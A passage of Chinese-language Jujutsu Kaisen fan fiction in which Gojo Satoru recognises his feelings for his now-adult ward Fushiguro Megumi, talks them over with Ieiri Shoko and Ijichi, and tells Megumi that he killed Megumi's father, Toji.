五条悟接过手机,心不在焉地低头翻看手机上的消息。 伏黑惠说:“我跟伊地知先生联系过了, 今天的任务有一个可以往后推, 其他的冥小姐有空都接走了。悟先生今天好好休息。” “啊, 好。”五条悟拿着手机, 看也不是,不看也不是, 从毛线团一样的思绪里胡乱扒出个线头,“要吃饭了?惠中午想吃什么?” 伏黑惠问:“吃面可以吗?您现在吃点清淡的比较好。” 五条悟晕乎乎地点头:“好,我记得家里还有乌冬面……” “我买了虾、牛肉和小青菜。”伏黑惠雷厉风行地站起身,“您去洗漱吧, 正好一会儿出来吃饭。” 五条悟下意识问:“惠出门了?” “是啊。”伏黑惠说,“没买零食,您今天多吃点水果,别吃零食了。” “好吧。”五条悟被安排得妥妥当当,稀里糊涂地走进洗漱间。他看着镜子里的自己,默默撕掉了额头上的退烧贴,又用冷水洗了把脸。 惠~ 小惠~ 五条悟深吸了一口气。昨天睡前才意识到自己的心情,今天早上一睁眼就看到惠,实在是……太刺激了! 五条悟觉得自己现在还有点发懵。他把自己打理好,出卧室之前还对着镜子照了照,确定自己的今天的打扮休闲又不失帅气,满意地点了点头,挑了个墨镜出去了。 伏黑惠正在厨房里煮面。五条悟走进厨房想接手他的工作,被伏黑惠轰出去了:“马上就好了,您在餐厅等一会儿。” 五条悟美滋滋地坐到餐桌旁边,看着伏黑惠在厨房里忙碌,忍不住拍了好几张照片,又选了个温馨的滤镜发了出去。 刷到社交媒体的众位咒术师和警视厅警察厅的警方人员们:…… 众人看着这个粉红色的滤镜无言以对。 跟五条悟不熟,也不想得罪这位咒术师的警方人员们礼貌性地点赞,之后进行了什么关于最强咒术师感情生活变化的研讨会暂且不表。 咒术师们在五条悟的社交媒体下发起了以禅院真希和禅院真依为首的激烈抨击。 【让惠做饭,自己只顾拍照,渣男!——禅院真依】 【惠才刚成年,你能不能收敛点?——禅院真希】 【秀什么恩爱,有男朋友了不起吗?!——钉崎野蔷薇】 【你不是生病了吗?——冥冥】 【真好啊,生病了就有人给做饭吃。——家入硝子】 【老师居然也会生病?——虎杖悠仁】 五条悟发表了‘你们就是嫉妒!’一杆子打翻一船人的言论,得意洋洋地收起手机,看到伏黑惠把汤倒进面碗里,又倏地一下站起来:“惠别动,我来!” 伏黑惠被他突然出声吓了一跳,震惊地回头看着他,像一只受惊的小兔子。 五条悟的声音自然而然地舒缓了下来:“烫,我来端。” 伏黑惠习以为常地点了点头,看着五条悟一手一个碗端走了,自己拿着餐具跟在后面。 五条悟看着面前的面碗,又拿出手机拍了几张照片发到了网上,然后一边吃面一边看着伏黑惠吃面,觉得心里一直在冒粉红泡泡:“只吃面是不是有点单调,惠想不想吃别的?我记得冰箱里还有鸡排,想吃炸鸡排吗?” “炸鸡排太油腻了,您现在不能吃。”伏黑惠想了想,“吃面太单调的话……厚蛋烧可以吗?” 五条悟看伏黑惠放下筷子就要起来,立刻说:“不用了不用了,我就是说说,厚蛋烧晚上再吃也可以,惠先专心吃饭!” 伏黑惠张嘴就是:“我没关系……” “那我去做。”五条悟打断了他的话,自己作势也要站起来。 伏黑惠坐了回去:“那就晚上再吃吧。” “好。”五条悟低头又吃了两口面,抬头看看伏黑惠,又低头吃了两口面……循环往复。 伏黑惠觉得五条悟今天不太对劲,是病还没好吗? 他担心地看着五条悟:“悟先生还有哪里不舒服吗?要不然我们去医院看看吧?” “不用……”五条悟说了一半,看着伏黑惠的神情,又改口道,“我一会儿去找一下硝子好了。” “嗯。”伏黑惠听到他这么说也放心了一点,“您晚上除了厚蛋烧还想吃什么?” “唔……”五条悟想了想,也想不出什么,“牛排?寿司?寿喜锅?” 伏黑惠说:“寿喜锅的话……我和虎杖学了一种肉丸子的做法,很好吃。” “嗯?”五条悟的耳朵支棱起来了,感觉有点酸,“惠和悠仁已经这么熟了?” 伏黑惠说:“虎杖的肉丸子做得很好吃,我就拜托他教我了。” 五条悟问:“我怎么不知道惠什么时候去高专了?” 伏黑惠说:“就是在报志愿之前去了一次,您出差了,不在学校。” “哦。”五条悟的心情down了下去,期期艾艾地说,“惠难得来一次高专还是在我不在的时候……” 伏黑惠不理解,但很习惯地说:“以后还有机会的。” 五条悟“呼噜呼噜”地吃完面条,把两个人的碗一起拿走放进洗碗机。伏黑惠拿了块抹布出来擦桌子,不让五条悟再插手:“您不是还要去找家入小姐吗?” “不是什么急事……”五条悟脱口而出,然后紧急刹车,额头都出汗了,差一点就说漏嘴了! 伏黑惠责怪地看了他一眼:“身体不舒服当然是急事,您平时是怎么跟我说的?” “好吧,我错了。”五条悟看伏黑惠什么都没发现,先是松了口气又后知后觉地有点别扭,要是惠看到他发的主页会怎么想呢? 伏黑惠什么都没想,他在五条悟离开后,收拾完厨房就受到了禅院真希和禅院真依的消息,然后上五条悟的主页看了一眼,分别给两个人回复了同一句话。 【只是悟先生恶作剧而已。】 收到伏黑惠的消息的禅院姐妹对视一眼。 禅院真依问:“你信吗?” 禅院真希说:“说不准,谁知道悟是怎么想的?” 禅院真依不高兴地说:“我看他就是故意的!我得提醒惠小心。你也不准向着五条悟!” 禅院真希纵容地看着妹妹:“我也是向着惠的。” 被提醒的伏黑惠:??? 他有点无语地按灭了手机屏幕,只是做了个饭而已,难道悟先生生病了还要让他做饭吗? 另一边,家入硝子接待了这位生病了还要发消息撩拨所有人的最强咒术师:“你不是生病了在家吃爱心午餐呢吗?怎么有空到我这里来了?” 五条悟说:“我没生病。” 家入硝子不相信地说:“你没生病,惠昨天晚上给我发消息问你发烧了怎么办?” “嗯?”五条悟说,“惠给你发消息了?我怎么不知道?” 家入硝子白了他一眼,开玩笑地说:“我跟惠发个消息还得跟你汇报?!就算你跟惠在一起了也不用这么霸道吧?” 五条悟翘起嘴角,坐到沙发上,开心地说:“你也觉得我和惠应该在一起?” 家入硝子沉默了,她打量着五条悟,严肃地问:“悟,你认真的?” 五条悟说:“我对惠什么时候不认真了?” 家入硝子深吸了一口气,不可置信地说:“你什么时候……禅院家说你把惠当童养媳居然是真的?!” “我也没想到会变成这样啊!”五条悟说着说着耳朵还红了,“明明是惠太招惹人了!” 家入硝子怀疑地问:“惠干什么了?” 五条悟炫耀道:“惠特意找真希去禅院家要了我喜欢吃的点心的菜谱。” 家入硝子莫名其妙地问:“就因为这个?” “硝子你这是什么表情啊?”五条悟不满地说,“不是你说惠很惯着我的吗?” 家入硝子朝着他扔了根笔:“我是让你收敛一点,别每次去禅院家因为看不到惠就摆一张臭脸,人家还以为你看不上真希!” “怎么可能?真希也是我的好学生啊!”五条悟轻描淡写地说,然后盯着家入硝子,“硝子明明知道惠这么惯着我,我喜欢上惠有什么奇怪的?” 家入硝子理直气壮地说:“你们不是一直都这么惯着对方的吗?谁想到你会因为两张菜谱开窍了?!” 五条悟推了推墨镜,脸上的笑容比天上的太阳还灿烂,看得家入硝子牙痒痒。 “幸好惠成年了。”家入硝子嘲笑道,“你开窍的还挺是时候的!” “惠就是惠,跟这个没有关系啦!”五条悟美滋滋地说,“硝子你说,惠肯定也很喜欢我吧。” “喜不喜欢不知道,很在乎你是肯定的。”家入硝子看着五条悟美得冒泡的表情,忍不住问,“所以,你就准备这么跟惠在一起了?” 五条悟疑惑地问:“不行吗?” 家入硝子说:“惠不一定喜欢你吧?” 五条悟自信地说:“我这么好,惠怎么可能不喜欢我?” “那可不一定,喜不喜欢这种事又不是好不好能决定的。”家入硝子提醒他,“惠才刚成年,你别把小孩带歪了。还有,伏黑甚尔的事你还没告诉他吧。” 五条悟不自在地说:“那混蛋自己也没说啊……我会告诉惠的。” 家入硝子看着五条悟的表情,牙疼地问:“悟,你就这么接受自己喜欢惠的事实了?人渣吗?” 五条悟轻笑了一声,说:“硝子,你知道我得到的教训是什么吗?” 家入硝子看着他的神情,心弦不自觉地绷紧:“什么?” 五条悟认真地说:“惠只有待在我身边才是最好的。” 第68章 家入硝子注视着五条悟的神情, 眉头不知不觉地皱紧,谨慎地问:“悟,你是不是……因为惠被禅院家带走的事反应太大了。” 五条悟听懂了家入硝子的言下之意, 坦然地说:“硝子也把我看得太傻了……是不是真的喜欢惠我难道还分不清楚吗?” “那就好。”家入硝子松了口气, 不客气地说,“不然我担心你耽误了惠,唔, 不过现在也差不多。” “什么叫我耽误惠?”五条悟不爽地问, “我是那种人吗?” 家入硝子意味深长地说:“以前我觉得你不是,因为你很在意惠的想法, 但是现在就不一定了。” 五条悟为自己代言:“我现在也很在意惠的想法啊!” 家入硝子一击毙命:“那你发这种照片经过惠同意了吗?” “我以前也发……照, 给惠照很多照片, 惠从来都没不让我发过啊!”五条悟振振有词地说。 家入硝子吐槽道:“你以前根本从来都没发过吧。” 五条悟有点心虚地摸了摸鼻梁:“以前是因为惠不想做咒术师, 我当然不会乱发他的照片。” 但是现在不一样了, 惠做了两年的禅院家主,该知道该见过的人都已经知道了。——但那是作为禅院惠, 不是他的惠。 五条悟的五指抓着手机转了个花,敲了敲手机屏幕, 露出一个笑。 家入硝子很懂他地说:“所以你发照片就是为了让人知道惠现在归你了是吧?我以前怎么没发现你占有欲这么强?” 五条悟理所当然地说:“因为我只对惠有占有欲啊!” 家入硝子怀疑地看着他:“你真的是昨天才发现自己喜欢惠的?我看你挺习惯的。” “绝对是。”五条悟信誓旦旦地保证道, “我昨天……”他想起昨天发生的事, 又忍不住脸红了。 家入硝子看着他的反应, 若有所思地说:“所以昨天惠说你发烧了……” 五条悟闭麦了。 “噗嗤!”家入硝子忍不住哈哈大笑,“五条悟, 你也有今天!” “你笑什么?!”五条悟恼羞成怒地说,“硝子你自己不是也一直单身吗!你能比我好到哪里去啊?!” “我是单身啊!”家入硝子笑得上气不接下气,“但我可不会喜欢上我看着长大的孩子!” 五条悟大声哔哔:“我就是喜欢惠怎么了?!” “没人拦住你。”家入硝子笑得说话都在颤,“应该也没人拦得住你。不过惠现在还不知道吧?” “……不知道。”五条悟靠进沙发里, 仰头枕着沙发背看天花板,“我还没想好怎么跟惠说。” 家入硝子讶异地说:“哟,你还有没想好的时候?” 五条悟严肃地说:“这可是我第一次告白,当然要郑重、盛大、无与伦比!” 家入硝子调整着自己的呼吸,还不忘告诫明显是飘了的某人:“你还是想想惠愿意接受什么样的告白吧,要是惠不喜欢你怎么办?” “惠怎么可能不喜欢我?!”五条悟不可置信地看着她,“你都发现惠超——级——纵容我了!” 家入硝子不为所动地说:“惯着和喜欢不是一回事,惠也挺纵容真希和真依的,难不成也是喜欢她们?” 五条悟:“才不会!” 家入硝子说:“还有来栖华……” 五条悟脸上的神色淡了下去:“自己还麻烦缠身的人就别来觊觎我家惠了。” 家入硝子啧啧有声地说:“你当初不让来栖华和惠接触,我就应该知道有问题。” 五条悟漠然地说:“我又没拦着她。” 家入硝子好笑地说:“是啊,都是因为惠太忙了,没空来东京校。” 五条悟理直气壮地说:“本来就是,惠那么忙,能剩下点时间见我就已经很不容易了,哪还有时间分给别人!” 家入硝子无语地看着他:“怪不得惠从来都没谈过恋爱,原来是你从中作梗。” “我才没有!”五条悟忿忿不平地说,“那分明是禅院家……”惠最有可能的高中时光都被禅院家占满了,所以都是禅院家的错! 家入硝子不吃他这套,一针见血地说:“你别说你现在不高兴。” 那当然是高兴的。五条悟想,他会是惠的初恋,也会是惠的永远。 家入硝子看着五条悟的表情,嫌弃地说:“啧啧啧,我记得之前还有人说,不能剥夺小孩的青春。” 五条悟理直气壮地说:“我没有啊,和我谈恋爱不青春吗?” “我建议你慢慢来,别把惠吓到。”家入硝子看着五条悟不以为然的样子,“你以为惠是你这么厚脸皮,能随随便便接受监护人喜欢自己这种事。” 五条悟嗤之以鼻地说:“惠要是拒绝我也不会是因为这种理由。” “那津美纪呢?”家入硝子看着五条悟突然僵硬的神色,幸灾乐祸地笑起来,“将来津美纪是不是就要改口喊你弟弟了?啊,不一定,毕竟要是津美纪接受不了,你和惠能不能成还不一定呢!” 五条悟面色有点扭曲:“津美纪、津美纪那么疼惠。只要惠喜欢我,津美纪肯定也会接受的。”他像是在说服自己,“把惠交给我总比交给别人放心吧。” “津美纪大概不会这么想。”家入硝子吐槽道,“知道这件事之后,伏黑甚尔都得再来杀你一次。” “让他来!”五条悟不屑地说,“三分钟,让他知道现在谁才是老大!” 家入硝子提醒道:“你跟惠在一起之后得管他叫爸。” 五条悟:…… “嘶!”他一时之间居然分不清楚他和伏黑甚尔两个人谁会更恶心。 家入硝子的嘴角抽了抽,强忍着不笑出声,清了清嗓子:“你可是要追人家儿子。” “惠是我的。”五条悟脱口而出,不情不愿地说,“跟他有什么关系?!” 家入硝子耸了耸肩,看好戏似的说:“有没有关系不是你说了算。不过,反正他也走了,你要是动作快说不定能在他知道之前下手成功。” 五条悟想起那天在禅院家围墙上看见的人,发出了一声长叹。走没走他还不知道吗?那个人……要是他和惠恋爱的事传出去…… 五条悟转念一想,传出去又怎么样?他巴不得所有人都知道惠是他的。他嗤笑一声:“我会怕他?” “是谁到现在都没把伏黑甚尔死过一次的事告诉惠的?”家入硝子表面同情地看着他,“惠到现在都没从别人嘴里知道这件事简直是老天保佑你。” “那是他们都不敢说。”五条悟头疼地揉了揉额角。这件事的确是个问题,得在他们谈恋爱之前解决……其实恋爱之后再说也不是不行吧?惠会因为这个跟他分手吗? ——绝对不可以!他不同意! 家入硝子说:“是啊,但要是你跟惠在一起了,现在噤口不言的人,那时候就不会再为你保密了。” 五条悟知道家入硝子指的是谁,禅院家的人和伏黑甚尔本人呗。 “我知道。”他别别扭扭地道谢,“硝子你提醒得还挺及时的。” “我也没想到我居然会是第一个知道的。”家入硝子看着人高马大的五条悟,再想想刚成年的伏黑惠,一脸惨不忍睹地摇了摇头,“谁让我是你这个人渣的朋友呢。” 她能做的也就这些了。反正没人抢得过五条悟,要是伏黑惠不愿意,那也只能怪他倒霉了。 这时,五条悟的手机发出了两声轻响。五条悟拿起来一看,眼睛立刻亮了:“是惠!” 家入硝子看着他美滋滋的表情,不忍直视。 “惠问我这么长时间还没回去是不是身体出了问题。”五条悟陷入了沉思,“我看起来像是这么容易身体就会出问题吗?” 家入硝子凉飕飕地说:“你看起来像是脑子出了问题。” “硝子别这么跟惠说,惠会当真的。”五条悟敷衍地跟家入硝子说,自己敲着手机给伏黑惠回消息。 然后家入硝子的手机也震了两下。家入硝子掏出来一看,是伏黑惠问她五条悟的身体情况。 她嘲笑五条悟:“看来某人的信誉在惠君那边已经是负值了。” 五条悟不开心地垮着张脸,气呼呼地说:“惠怎么能这样?!” 家入硝子抬手给他照了张照片发给伏黑惠,告诉伏黑惠,五条悟就是吃饱了撑的,身体比牛还壮。 同时,五条悟正在不停发消息谴责伏黑惠背着他和家入硝子私联。 伏黑惠的手机如同闹钟一样不停震动着。 【惠怎么能这么不相信我?我好难过QAQ——悟先生】 伏黑惠看看照片里嘴角下撇像是不高兴的猫的五条悟,认命地先感谢家入硝子再跟五条悟道歉说不该不相信他。 ——猫猫这么可爱,当然是原谅他。 五条悟露出了满意的表情,还要佯装抱怨地跟家入硝子炫耀:“惠太容易道歉了,要是没有我看着肯定会被欺负的!” 家入硝子冷眼旁观,认为自己刚才的判断有失偏颇——伏黑惠自己惯得,那就自己受着吧。 五条悟炫耀完了想炫耀的,也从家入硝子这里得到了可靠的建议,翘着猫尾巴准备离开。 家入硝子看着五条悟孔雀开屏的德行,掏出仅剩的同情心和良心,提醒道:“五条,你就没想过惠不喜欢你的可能性?” 五条悟弯了弯眼睛,蓝眸中是凌厉的光,轻柔地说:“我不是已经说过了吗?惠在我身边才是最好的,所以我不会把我喜欢的惠交给任何人。” 禅院家的教训一次就够了。 惠!是!他!的! “而且,惠怎么可能不喜欢我呢?”五条悟信心十足地说。 第69章 五条悟信心满满地回家, 然后越靠近家门越猫猫祟祟。 开车送五条悟回家的伊地知洁高:??? 五条悟坐在后座上面露沉思:“伊地知,你说我要不要买束玫瑰再回家?” 伊地知洁高大吃一惊:“啊?!!!” 五条悟嫌弃地看了他一眼:“你好好开车,稳重点。” 伊地知洁高默默合上下巴, 开车的手, 微微颤抖。 五条悟还在后座上翘尾巴,说着风凉话:“唉,这种事问伊地知也没用, 你也是单身。让我想想问谁……唉, 大家都是单、身、啊!一个能让我问的人都没有~” 伊地知洁高悲伤地推了推眼镜,鼓起勇气问:“五条先生, 您……您有喜欢的对象了吗?” “有啊。”五条悟指指点点, “我们总是在一起, 这——么——明显, 伊地知居然到现在都没发现, 好逊!” 伊地知洁高惊讶地问:“她也是咒术师吗?” “是他啦!”五条悟微微眯起眼睛,看向伊地知洁高的眼神让伊地知洁高感觉有杀气一闪而过, “不是很明显吗?伊地知不知道是谁?” “我、我、我……”伊地知洁高紧张地擦了擦额头上的汗水,在心里哀嚎, 他是真的不知道啊!!! 他深吸了一口气, 让自己镇定下来, 思考平时怎么处理五条悟心血来潮的考校, 试图从经验中找到一条求生之路,然后, 伊地知洁高开口道:“惠君……”知道吗? “没错!”五条悟得意地打了个响指,“就是惠!” 伊地知洁高木然地咽回了后半句话,通过后视镜看着笑得花枝乱颤的五条悟,把颤抖的目光移向前方, 紧紧盯着前路不放。 居、居然是惠君?!惠君不是才刚刚成年吗?!但是已经成年了,所以似乎也还好? 原来五条先生和惠君是这种关系吗?!伊地知洁高瞳孔地震。 “唉!”五条悟又叹了口气,叹得伊地知洁高胆战心惊,“伊地知,你说惠会喜欢玫瑰花吗?” 伊地知洁高小心翼翼地回答:“惠君,好像的确不是会喜欢玫瑰的类型。” 五条悟:“嗯?” “但是,”伊地知洁高非常识时务地改口道,“恋人之间互相送玫瑰花是一种通俗的恋爱方式,应该没有人会不喜欢的。” “诶呀,我和惠还不是恋人呢,我还没有告白。”五条悟点开手机屏幕,不知道在搜索什么,“让我看看都有什么告白方式,热气球?我自己就可以带惠飞。直升机撒花瓣?惠不喜欢那么高调。潜水?这个好像有点意思。” 伊地知洁高听得一脸懵:啊,原来,还不是恋人吗?对了,刚才五条先生说的也是喜欢的对象,没有说是恋人。 伊地知洁高很想再次闭麦,但是,他看看周围,硬着头皮提醒道:“五条先生,我们马上就到您的公寓了。” “嗯?”五条悟抬起头,不满地说,“你怎么开得这么快?” 伊地知洁高知趣地不说话。 五条悟很快就转变过来:“正好,我还有话还跟惠说。”他想起伏黑甚尔,不由得头疼起来。这个男人真是他命中一劫,都过了这么多年还有办法让他为难。 伊地知洁高看着收敛了笑容的五条悟,安静地踩下了油门,开始在路上飞驰。 “等等!”五条悟突然叫停,“惠说晚上要吃寿喜锅,得去买菜。” 伊地知洁高原本吓了一跳,听完五条悟的话松了口气:“请放心,五条先生,我已经买好食材了。惠君告诉我了。” 五条悟奇怪地问:“惠为什么会单独联系你?” 伊地知洁高干巴巴地说:“惠君说您在家入小姐那边看诊,麻烦我用这段时间去买一下食材,让您看完病就能回家休息。” 五条悟顿时笑开了花:“惠就是这么关心我!” 伊地知洁高习以为常地嚼着狗粮点头。 五条悟满意地靠了回去,两条无处安放的大长腿开心得晃啊晃。 伊地知洁高矜矜业业地把五条悟送到了公寓楼下,并打开了后备箱,露出了两大袋子食材。 五条悟一手一个袋子拎起来:“行了,伊地知,你走吧。” 伊地知洁高推了推眼镜,提醒道:“五条先生,明天的任务……”今天的假期是因为五条悟生病了,如果明天病好了,那是不是该继续干活了。 “明天啊……”五条悟想了想自己今天要干的事,“明天的事明天再说,跟他们说,最近给我挪个假期出来,我要告白!” “是的,五条先生。”伊地知洁高点头接受了五条悟的命令,反正现在高层基本上是五条悟的一言堂,他想休假也没人敢不让。 至于需要特级咒术师的现场……暂时让警方围起来,不让人靠近就行了,只要不是即将孵化的咒胎,拖延一两天也没什么。 五条悟拎着两个大袋子像拎着空气一样活蹦乱跳地上了电梯。走到门口想掏钥匙的时候,房门从里面被人打开,露出伏黑惠的脸。 “惠要出门吗?”五条悟看着伏黑惠,怎么看怎么觉得他家惠真是太好看啦!不输给他的好看! “没有。”伏黑惠让开门口,让拎着东西的五条悟进来,“我算着时间知道您快到家了,听到电梯响来开门的。” 他和伊地知洁高有交流,交流内容当然包括买了多少东西和五条悟什么时候从东京校出来的。 五条悟美滋滋地进门换鞋:我家惠不仅好看还温柔又贴心。 伏黑惠看着五条悟的状态,微微皱眉。 五条悟把两大袋子食材放到厨房,兴奋地说:“寿喜锅很简单的,我来做就可以了——硝子跟惠说了,我的身体没问题了吧!” “……好。”伏黑惠说,“那我来负责做肉丸子。” 寿喜锅的锅底很简单,五条悟负责的主要是处理食材。相比较而言,伏黑惠的肉丸子制作步骤还稍微复杂一点。两个人双管齐下,等五条悟的食材都处理完,伏黑惠的肉丸子也做好了。 两个人并肩坐在餐桌旁边,面前是一个热气腾腾的寿喜锅。伏黑惠还记得五条悟中午说想吃厚蛋烧,给厚蛋烧上撒了一层白糖,一看就不是他自己要吃的。 五条悟心里又开始冒粉红泡泡。明明这种事以前两个人也常做,但是开窍之后立刻被赋予了不一样的意义。 ——惠果然喜欢我! 五条悟享受地吃着合口味的厚蛋烧,还不忘给伏黑惠夹菜:“惠多吃点,惠现在好瘦!” 他借机摸了一下伏黑惠的腰,好细啊! 惠这样很好看和惠真的很瘦两个念头开始在他脑海中打架。最终,惠胖一点也会很好看胜出了。于是五条悟继续给伏黑惠夹菜。 伏黑惠没意识到某人的动作另有意味,习以为常地接受了五条悟的关心:“谢谢悟先生。” 五条悟笑眯眯地说:“不客气,惠不要总对我说谢谢嘛!” 伏黑惠有点奇怪地看了五条悟一眼,忍不住问:“悟先生,你的身体真的没事了吗?” “没事啊,惠不是已经又问了硝子吗?”五条悟笑着看他,“惠难道还担心我和硝子一起骗你吗?” “不,我没有。”伏黑惠眉头微皱,不解地问,“那您是有什么事想跟我说吗?” “欸?”五条悟有点惊讶地睁大眼睛,“很明显吗?” 伏黑惠有点无奈地点头,犀利指出:“您一直在盯着我看。” “啊……”五条悟眨了眨眼睛,居然有点腼腆害羞,心虚地说,“我有吗?” 伏黑惠沉默地看着他。 如果不是刚才他已经跟家入硝子确认过五条悟身体很好,他简直要怀疑五条悟是不是拿了什么‘我得了绝症不能告诉你只能一个人硬抗,但还是很担心我走后的你’的三流剧本。 五条悟也在反省自己,他心虚什么?他为什么要心虚?喜欢惠有什么见不得人的?他就是喜欢惠想盯着惠看不行吗? 五条悟理直气壮地对上伏黑惠的目光,然后瞬间软化:惠真可爱~ 伏黑惠莫名其妙地看着五条悟看了他一眼又转回去专注地盯着寿喜锅。 伏黑惠:??? 伏黑惠困惑地看了五条悟一眼又一眼,终于在五条悟第三次转头跟他对上目光又挪开的时候忍不住放下了筷子:“要不然您先说吧。” “啊,没什么,不是什么大事。”五条悟在锅里划拉着,一个劲往外夹菜,“惠做得肉丸子真好吃!还是吃完再说吧。” 伏黑惠:…… 他觉得五条悟今天十分不对劲,真的不是发烧烧坏了脑子吗? 但是想想家入硝子的保证,伏黑惠终究选择了相信医生的判断。 “好吧。”伏黑惠叹了口气,“那就请您不要再看我了。” 五条悟脱口而出:“惠这么好看为什么不让看?” 伏黑惠用眼神给五条悟发射了一个问号,语气冷静又淡然地说:“因为被您盯着我吃不下去。” 五条悟讪讪地闭上了嘴,委屈地说:“哦。” 伏黑惠无视了五条悟的委屈眼神,决定先吃饭再说。 两个人常年一起生活,对两个人的饭量都很了解,一份寿喜锅准备的分量刚刚好。 五条悟和伏黑惠挤在厨房里一起把碗筷冲洗干净放进洗碗机。伏黑惠洗完手,坐到客厅沙发上看着五条悟:“悟先生,您到底想跟我说什么?” “唔……”事到临头,五条悟突然有点犹豫,“惠觉得……伏黑甚尔怎么样?” 伏黑惠皱起眉头:“他又做什么了?” “为什么这么问?”五条悟警惕地问,“他以前会给惠添麻烦吗?” 他还以为伏黑甚尔历经生死之后改好了呢?那混蛋明知道惠在禅院家做家主有多累,居然还给惠添麻烦?! “还好吧,钱给到位了就不会。”伏黑惠不怎么在意地说。 “这个人……”五条悟气呼呼地磨了磨牙。 “所以,您突然提到他,”伏黑惠把话题拉回正轨,“他又干什么了?” “没有。”五条悟看着伏黑惠不相信的眼神,有点紧张地舔了舔嘴唇,“准确来说,不是‘又’。” 伏黑惠看着五条悟,露出了困惑的表情。 五条悟看着伏黑惠那张跟伏黑甚尔相似的脸,突然觉得坐立不安。 他张了张嘴,文不对题地说:“我想喝棉花糖巧克力。” 伏黑惠沉默了。 他眉头微皱,并没有被五条悟的神来一笔惹恼,而是和不自在的五条悟对视着,认真地说:“悟先生,如果是什么很为难的事,不告诉我也没关系。” 作者有话说:今天是双更哦!都在中午,晚上没有了 第70章 五条悟纠结地皱起眉头:“不行哦, 这个是必须告诉惠的事。” 伏黑惠点了点头表示理解:“好吧,那您等一下,我去冲巧克力粉。” 五条悟眨了眨眼睛, 看着伏黑惠走向厨房, 从柜子里找出巧克力粉,等巧克力搅拌好后又从冰箱里找出棉花糖撒了几颗上去。 五条悟眼睛亮闪闪地看着端着棉花糖巧克力回来的伏黑惠,觉得惠真是太好看太甜了还这么爱他! 伏黑惠把棉花糖巧克力放到五条悟面前, 也给自己冲了一杯咖啡。 五条悟捧着自己的白色狗狗杯子, 对着伏黑惠的黑色狗狗杯子探头探脑:“晚上喝咖啡不会睡不好吗?” “不会,这是白咖啡。”伏黑惠抿了一口咖啡, 也不催促五条悟, 看着他吹着热巧克力, 一点一点喝。 五条悟喝了两口巧克力, 在心里整理了一下措辞, 开口道:“惠知道我和伏黑甚尔关系不好吧。” “嗯,你们表现得很明显。”伏黑惠毫不意外地说。 五条悟问:“那你知道我们为什么关系不好吗?” 伏黑惠纳闷地反问:“这很重要吗?” 五条悟说:“很重要。” 伏黑惠看着五条悟郑重的神色, 也跟着严肃起来,用洗耳恭听的表情看着五条悟。 “但是, ”五条悟在说之前话锋一转, “无论我和伏黑甚尔是什么关系, 我和惠的关系都不会变。惠先记住这个。” 伏黑惠缓缓地点了点头。他已经从五条悟的话中听出了不祥的预兆, 这一定是很重要的事,重要到五条悟认为这可能影响到他们的关系。 五条悟斟酌着言辞:“惠应该知道杰的事了。”他看着伏黑惠点点头, 继续说,“当初我和杰一起上学的时候执行过一个任务,是保护星浆体。” 伏黑惠疑惑地问:“星浆体?” “就是天元大人的……替身?”五条悟随便选了个形容词,说起这段经历时的神情淡淡的, 看不出什么感情色彩,“当时的天元大人还没有进化成后来的程度,每过一段时间就需要一个人献祭自己给她做新的躯壳用。” 伏黑惠嫌恶地皱紧了眉头。 五条悟看着伏黑惠的表情,露出了一个小小的微笑:“当时我和杰想把星浆体放走。” 伏黑惠露出了赞同的神色。 五条悟的睫毛颤了颤:“但我们失败了。” 伏黑惠惊讶地看着五条悟。 五条悟用平静的声音说:“我和杰被伏黑甚尔重伤,星浆体也被杀了。” 伏黑惠向前倾身,不可置信地说:“您重伤?!” 五条悟低头喝了一口热巧克力,他不想告诉惠也有这方面的原因,被关进「狱门疆」就够逊得了,现在还要告诉惠年轻时的他甚至打不过伏黑甚尔…… “对不起……”半晌后,伏黑惠语气颤抖地说,脸上的表情还有点没反应过来的茫然。 “我已经自己报复回来了。”五条悟把受伤的事一笔带过,“我重伤的时候刚好领悟了「反转术式」,掌握了「赫」。”他盯着伏黑惠,「六眼」不放过他一分一毫的变化,“我用「赫」杀死了伏黑甚尔。” 伏黑惠愣住了。 他眨了眨眼睛,不解地说:“可是他……” “他现在不算活着,不完全是。”五条悟终于残忍地揭开了真相,“他在涉谷事变被受肉了,但因为天与咒缚的身体特性,他自己的意识压过了想要利用他身体的诅咒师。” 伏黑惠坐在沙发上,安静地消化着新的事实。他还以为离开禅院家之后就不会再接到坏消息了。 五条悟担忧地看着伏黑惠,感受着自己的心脏在胸腔里一下一下地跳动着,一下比一下快。 终于,在五条悟忍不住开口之前,伏黑惠重新抬起头问:“那他还能存在多久?” “不知道。”五条悟说,“这种情况很罕见,咒术界也没有先例。” 伏黑惠的眼神黯淡下去,面上表现得还很镇定:“我知道了,谢谢悟先生告诉我这些。” “惠就想说这个吗?”五条悟有点着急地靠近伏黑惠,两人的腿碰在一起,“惠,我……伏黑甚尔在死前给我说起了你的存在,但我选择了惠不是因为他。” 他有点语无伦次地说,一双蓝眸紧紧盯着伏黑惠,像是害怕一眨眼惠就不见了。 “嗯?”伏黑惠似乎是反应了一下才理解了五条悟的意思,“没关系,我不在意。” 五条悟问:“惠怎么能不在意?!” 伏黑惠被五条悟突然提高的声音吓了一跳,睁大了眼睛看着他。 五条悟深吸了一口气,瞬间压下起伏的心潮,温和地说:“我是说,惠……嗯,听了之前的事,难道没有什么……不开心的地方吗?” 伏黑惠缓缓地眨了一下眼睛,漆黑浓密的睫毛合上又分开,嫩粉色的唇瓣分开又合上:“对不起。” 五条悟用力闭了闭眼睛,无奈地说:“惠为什么要道歉啊?” 伏黑惠说:“因为他……打伤了您,还杀死了星浆体。” “哦,所以惠替他给我道歉。”五条悟气笑了,“虽然是他先动手的,但最后赢得是我!惠替他给我道歉……惠替他给我道歉?!”五条悟用不一样的语气重复了两次,感觉自己要被气死了,“惠凭什么替他给我道歉啊?!” 伏黑惠睁大了眼睛看着五条悟,满脸不知所措。 五条悟心口还是哽着一口气,但是看伏黑惠的神色又没办法继续发火,只能把小孩抓过来蹂躏。 伏黑惠的头发被五条悟揉得乱七八糟,从海胆变成了螃蟹。 因为伏黑惠这次自觉理亏没反抗,五条悟反倒没揉太久,反而揉着揉着叹了口气,又给他整理头发。他不开心地说:“那要是在伏黑甚尔面前,惠也会替我道歉,说对不起我杀了他吗?” “不会。”伏黑惠帮理不帮亲地说,“是他的错。” 五条悟不知道该不该高兴。 伏黑惠看五条悟噘着嘴不高兴,静静地思考了一会儿,说:“您没有对不起他,也没有对不起我,没有对不起任何人。” 五条悟:…… 他仰天长叹:“虽然惠的话很让人感动,但我不是这个意思。” 伏黑惠困惑地看着他。 五条悟直白地问:“我杀了伏黑甚尔,惠不怪我吗?” 伏黑惠奇怪地反问:“为什么要怪您?都说了这根本不是您的错。” 